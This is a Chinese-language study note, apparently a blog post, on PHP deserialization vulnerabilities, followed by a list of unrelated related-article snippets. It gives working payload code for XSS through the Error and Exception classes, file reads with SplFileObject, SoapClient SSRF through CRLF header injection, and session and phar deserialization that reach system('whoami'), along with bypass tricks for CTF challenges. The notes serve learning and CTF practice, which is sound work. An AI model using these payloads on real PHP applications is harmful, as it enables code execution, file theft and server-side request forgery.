几种反序列化漏洞
1.PHP魔术方法
<?php
class c {private $name = 'hacker';function __construct() { // 构造方法,new时调用echo 'construct<br>';}function __serialize() { // 序列化时调用echo 'serialize<br>';return ['hack'];}function __unserialize($data) { // 反序列化时调用echo '__unserialize ';print_r($data);echo '<br>';}function __sleep() { // 序列化时调用,存在 __serialize 就不调用echo 'sleep<br>';return [];}function __wakeup() { // 反序列化时调用,存在 __unserialize 就不调用echo 'wakeup<br>';}function __debugInfo() { // 对对象使用 var_dump 时调用echo 'debugInfo ';return [];}function __clone() { // 对对象使用 clone 时调用echo '<br>clone<br>';}function __destruct() { // 析构方法,对象销毁时调用echo 'destruct<br>';}// 异常处理魔术方法function __get($name) { // 获取不存在或不可访问的变量时调用echo 'get '.$name.'<br>';}function __set($name, $value) { // 给不存在或不可访问的变量赋值时调用echo 'set '.$name.' '.$value.'<br>';}function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用echo 'isset '.$name.'<br>';}function __unset($name) { // 对不存在或不可访问的变量使用 unset 时调用echo 'unset '.$name.'<br>';}function __call($name, $parameter) { // 调用不存在或不可访问的方法时调用echo 'call '.$name.' ';print_r($parameter);echo '<br>';}static function __callStatic($name, $parameter) { // 调用不存在或不可访问的静态方法时调用echo 'callStatic '.$name.' ';print_r($parameter);echo '<br>';}function __toString() { // 对象被当作字符串使用时调用echo 'toString<br>';return '';}function __invoke() { // 对象被当作函数调用时调用echo 'invoke<br>';return '';}
}// 创建对象
$c = new c();
var_dump($c);
clone $c;// 序列化
$s = serialize($c);
echo $s.'<br><br>';// 反序列化
$u = unserialize($s);$u->pass;
$u->pass = 'hacker';
isset($u->name);
empty($u->name);
unset($u->name);$u->function(1);
c::function(2);
$u::function(3);echo $u;
$u.'';
$u();
2.PHP原生类
Error类
PHP>7.0,因为存在__toString,可以进行XSS
echo new Error('<script>alert(1)</script>');
Exception类
因为存在__toString,可以进行XSS
echo new Exception('<script>alert(1)</script>');
DirectoryIterator类
因为存在__toString,可以获取符合要求的第一个文件名
echo new DirectoryIterator('glob://flag*');
SplFileObject类
因为存在__toString,可以读取文件内容
echo new SplFileObject('/flag');
SimpleXMLElement
可以造成 xxe
xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)
SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);
SoapClient类
因为存在__call,可以进行SSRF
phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启
<?php
// ua是为了覆盖请求头并让请求包后面的其他内容无效
$ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";$soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));
$soap->function();
可以通过 NC 看构造的请求包
POST /ssrf.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
User-Agent: ua
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6ssrf=1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#function"
Content-Length: 394<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>
3.特殊文件的反序列化
Session反序列化
php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";
当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}
当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:
先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';
再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化
<?php
class c{function __wakeup() {system($this->code);}
}
session_start();
phar包反序列化
phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化
生成Payload
<?php
class c{public $code = 'whoami';
}$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");$o = new c();
$phar->setMetadata($o);
$phar->addFromString('1.txt', '1');
$phar->stopBuffering();
访问进行反序列化
<?php
class c{function __wakeup() {system($this->code);}
}
include('1.phar');
4.绕过
开头
数字
O:+1,PHP<7.2
O
<?php
class c{public $code = 'whoami';function __wakeup() {system($this->code);}
}// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);
魔术方法
__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...
__destruct绕过,前面抛出异常
__destruct调用,结构错误,例:O:1:"c":1:{xxx}
5.CTF
private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制
数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}
要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改
看似反序列化的题结果静态函数不需要对象
字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html
相关文章:
几种反序列化漏洞
1.PHP魔术方法 <?php class c {private $name hacker;function __construct() { // 构造方法,new时调用echo construct<br>;}function __serialize() { // 序列化时调用echo serialize<br>;return [hack];}function __unserialize($data) { // 反…...
华为OD机试 - 找出符合要求的字符串子串(Java 2023 B卷 100分)
目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出 华为OD机试 2023B卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷)》…...
深度学习环境搭建笔记(二):mmdetection-CPU安装和训练
文章目录 第一步:安装anaconda第二步:安装虚拟环境第三步:安装torch和torchvision第四步: 安装mmcv-full第五步: 安装mmdetection第六步:测试环境第七步:训练-目标检测7.1 准备数据集7.2 检查数据集7.3 训练网络 第一步…...
Ubuntu18.04安装cuDNN
注册账号 https://developer.nvidia.com/rdp/cudnn-archive 该网站下载安装包需要先进行注册。登录成功后,找到与CUDA对应的版本。 选择Linux版本进行下载。 下载后的格式为.tar.xz 解压 tar xvJf cudnn-linux-x86_64-8.9.3.28_cuda12-archive.tar.xz配置环境 su…...
Java逻辑控制
目录 一、顺序结构 二、分支结构 1、if语句 (1) 语法格式1编辑 (2)语法格式2编辑 (3)语法格式3 2、switch 语句 三、循环结构 1、while循环 2、break 3、continue 4、for 循环 5、do whil…...
easyExcel合并单元格导出
一、导入maven依赖 (很多旧项目自定义了一套Excel导出工具,poi版本可能不兼容,一般poi新旧版本不兼容分界线在3.17,选择3.17版本不会发生代码不兼容情况) <dependency><groupId>com.alibaba</groupId&…...
SpringBoot项目--电脑商城【用户注册】
1.创建数据表 1.1 创建t_user表 CREATE TABLE t_user (uid INT AUTO_INCREMENT COMMENT 用户id,username VARCHAR(20) NOT NULL UNIQUE COMMENT 用户名,password CHAR(32) NOT NULL COMMENT 密码,salt CHAR(36) COMMENT 盐值,phone VARCHAR(20) COMMENT 电话号码,email VARCH…...
HCIP学习-IPv6
目录 前置学习内容 IPv6解决的一些IPv4的缺陷 无限的地址 层次化的地址结构 即插即用 简化报文头部 IPv4和IPv6报头比较 端到端的网络罗完整性 安全性增强 挣钱QoS特性 IPv6地址介绍 格式 首选格式 压缩格式 内嵌IPv4地址格式的IPv6地址格式 IPv6的网络前缀和接…...
golang高精度十进制数扩展包decimal用法
在Go语言中,没有内置的十进制数(decimal)类型或相关的标准库。然而,有一些第三方包可用于处理十进制数,其中比较常用的是decimal包。 decimal包提供了一个big.Float的子类型decimal.Decimal,可以用于表示和…...
STM32F4X RNG随机数发生器
STM32F4X RNG随机数发生器 随机数的作用STM32F4X 随机数发生器RNG控制寄存器RNG状态寄存器RNG数据寄存器RNG数据步骤RNG例程 随机数的作用 随机数顾名思义就是随机产生的数字,这种数字最大的特点就是其不确定性,你不知道它下一次产生的数字是什么。随机…...
5、QT中SQLite数据库的操作
一、QT中的SQLite数据库 1、添加头文件和模块 Header: #include <QSqlDatabase> qmake: QT sql//pro文件添加sql模块执行数据库操作的类: Header: #include <QSqlQuery> qmake: QT sql2、C语言中的SQLite增删减查 SQLite3的基础教程 3、SQLite的…...
git回退到某个提交
git是一个分布式版本控制软件,分布式版本库的做法使源代码的发布和交流都极为方便,因此有不少用户都在使用git。最近小编也正在学习git这款软件,发现要想熟练运用git,学会git中的一些命令是很重要的,如果我们要回滚到某…...
对可再生能源和微电网集成研究的新控制技术和保护算法进行基线和测试及静态、时域和频率分析研究(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...
Full authentication is required to access this resource解决办法
我们在使用postman调接口时候,有的时候需要权限才可以访问,否则可能会报下面这个错误 {"success": false,"message": "Full authentication is required to access this resource","code": 401,"result&q…...
Jetty:使用上下文文件部署离线瓦片.md
说明 介绍利用jetty在任意位置如桌面的资源进行发布。比如下载的离线瓦片数据,如果放到jetty的webapps目录下,则启动时间会比较久,可以通过本文的步骤进行配置,也免去了拷贝过程的耗时。 关键字:自定义路径、Jetty、…...
Docker实战:docker compose 搭建Rocketmq
1、配置文件准备 1.1、 新建目录:/home/docker/data/rocketmq/conf mkdir /home/docker/data/rocketmq/conf1.2、 在上面目录下新建文件broker.conf文件,内容如下 brokerClusterName DefaultCluster brokerName broker-a brokerId 0 deleteWhen 0…...
STL常用容器 (C++核心基础教程之STL容器详解)String的API
在C的标准模板库(STL)中,有多种容器可供使用。以下是一些常见的容器类型: 序列容器(Sequential Containers): std::vector:动态数组,支持快速随机访问。 std::list&…...
《人生苦短,我学Python》——条件判断->(if-elif-else)多向选择 条件嵌套
今天,我们来学习多向选择!if--elif--else if 后的语句是当 if 判断条件成立时,执行的操作。elif 后的语句是当 if 判断不成立时,再判断一次,如果成立,执行的操作。else 后的语句是当以上所有判断条件都不成…...
MongoDB 数据库性能优化技巧
原文:MongoDB 数据库性能优化技巧 (techdatafuture.com) MongoDB 是一款灵活且可扩展的NoSQL数据库,为了提高其性能,我们可以采取一些优化技巧。本文将介绍一些MongoDB性能优化的关键点,包括索引的使用、查询优化、数据模型设计和…...
网络安全人才缺口超百万,如今的就业情况怎样?
网络安全人才缺口超百万,如今的就业情况怎样? 2022年9月7日,国家网络安全宣传周准时开始。本次网络安全宣传周和以前一样,主要目的都是为了普及网络安全知识,提高网络安全的防护技能,提升对电信网络诈骗的…...
开发者专属提示词库:提升AI协作效率的实战指南
1. 项目概述:一个为开发者量身定制的提示词宝库如果你是一名开发者,无论是前端、后端、运维还是算法工程师,我相信你都或多或少地接触过像 ChatGPT 这类大型语言模型。它们能写代码、解 Bug、解释概念,甚至帮你设计架构。但很多时…...
TongWEB(东方通)实战:从零部署企业级WEB前后端项目
1. 环境准备:银河麒麟系统下的基础搭建 在银河麒麟桌面系统V10(SP1)兆芯版上部署企业级WEB项目,环境准备是第一步。我遇到过不少开发者直接跳过环境检查就急着部署,结果浪费大量时间排查兼容性问题。这里分享几个关键点: 首先是系…...
开源自动驾驶系统终极指南:从入门到精通
开源自动驾驶系统终极指南:从入门到精通 【免费下载链接】openpilot openpilot is an operating system for robotics. Currently, it upgrades the driver assistance system on 300 supported cars. 项目地址: https://gitcode.com/GitHub_Trending/op/openpilo…...
城通网盘高速解析终极指南:如何免费实现40倍下载提速
城通网盘高速解析终极指南:如何免费实现40倍下载提速 【免费下载链接】ctfileGet 获取城通网盘一次性直连地址 项目地址: https://gitcode.com/gh_mirrors/ct/ctfileGet 你是否厌倦了城通网盘那令人抓狂的蜗牛下载速度?每次下载大文件都要面对漫长…...
物联网安防系统故障排查与ESP8266固件刷写实战指南
1. 物联网安防系统故障排查实战做物联网安防系统,最怕的就是“哑火”。你花了好几天时间,把ESP8266、Raspberry Pi、MQTT Broker、Adafruit.IO和IFTTT像搭积木一样连起来,满心期待它能在关键时刻给你发条短信。结果,门被推开了&am…...
Noto Emoji:专业解决跨平台表情符号渲染难题的终极方案
Noto Emoji:专业解决跨平台表情符号渲染难题的终极方案 【免费下载链接】noto-emoji Noto Emoji fonts 项目地址: https://gitcode.com/gh_mirrors/no/noto-emoji 在现代数字通信中,表情符号已成为不可或缺的语言元素,然而跨平台表情符…...
量子最优控制中的iLQR算法实践与优化
1. 量子最优控制基础与挑战量子最优控制(Quantum Optimal Control, QOC)是现代量子计算中的核心技术,其核心目标是通过精心设计的控制脉冲序列,实现对量子系统状态演化的精确操控。在超导量子计算体系中,这一技术尤为重…...
【目标检测系统网页版】基于YOLOv8的淡水鱼检测系统
【目标检测系统网页版】基于YOLOv8的淡水鱼检测系统 一、系统介绍 1、系统简介 基于YOLOv8的淡水鱼检测 Web 系统,支持单图检测、批量图片检测、视频检测与实时视频流检测。 2、功能特性 智能识别:YOLOv8 封装,单例加载,自动设…...
OpenClaw 快速接入 MiniMax 图文指南
OpenClaw连接MiniMax图文教程 前置准备 已安装并可以正常打开 OpenClaw Windows。 OpenClaw 顶部 Gateway 状态保持在线。 电脑可以正常联网并访问 MiniMax 开放平台。 建议提前准备好 MiniMax 开放平台账号。 如果账户余额为 0.00,需要先充值后再调用接口。 …...
记一次在双 RTX 3090 工作站上部署 vLLM 与 Qwen3.6-35B-AWQ 的实战记录
记一次在双 RTX 3090 工作站上部署 vLLM 与 Qwen3.6-35B-AWQ 的实战记录 1. 升级目的 最近需要本地部署大模型推理服务,目标是运行 Qwen3.6-35B 的 INT4 量化版本(AWQ 格式),并使用高性能推理引擎 vLLM 提供服务。由于模型采用 …...
